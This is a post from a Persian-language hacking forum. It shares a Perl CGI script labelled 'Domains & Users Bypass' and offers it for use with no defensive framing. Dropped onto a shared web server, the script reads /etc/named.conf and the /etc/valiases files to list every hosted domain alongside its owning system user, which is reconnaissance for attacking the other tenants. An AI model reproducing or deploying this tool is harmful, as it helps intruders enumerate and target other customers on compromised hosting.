Domain Lister Script

Mr.XpR

پیشکسوت

تاریخ عضویت: May 2012

نوشته: 971
- اشتراک
- توییت
#1

Domain Lister Script

06-13-2012, 01:03 AM

[align=LEFT]

[php]

#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Coded By Karar alShaMi</title>
<title>WwW.IraQi-ViruS.NeT</title>
<style type="text/css">
.newStyle1 {
background-color: #000000;
font-family: "Tahoma", Courier, monospace;
font-size: small;
font-weight: bold;
color: #FFFFFF;
}
.style1 {
text-align: center;
}
</style>
</head>

<body background="" style="background-attachment: fixed">

Domains & Users 
Bypass
By Karar alShaMi 
 Dev By The Sword
 www.Hack-Book.com
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=';
open (domains, '/etc/named.conf') or $err=1;
@kr = <domains>;
close domains;
if ($err){
print (' Couldn\'t Bypass it , Sorry');
die();
}else{
print 'H3r3 !s 411 D0m4!ns & Us3rs 
';}
foreach my $one (@kr)
{
if($one =~ m/.*?zone "(.*?)" {/){
$filename= "/etc/valiases/".$1;
$owner = getpwuid((stat($filename))[4]);
print ''.$1.' : '.$owner.'
';
}
}
print'</body></html>';

[/php][/align]

[align=center][/align]
برچسب ها: هیچ یک

اطلاعیه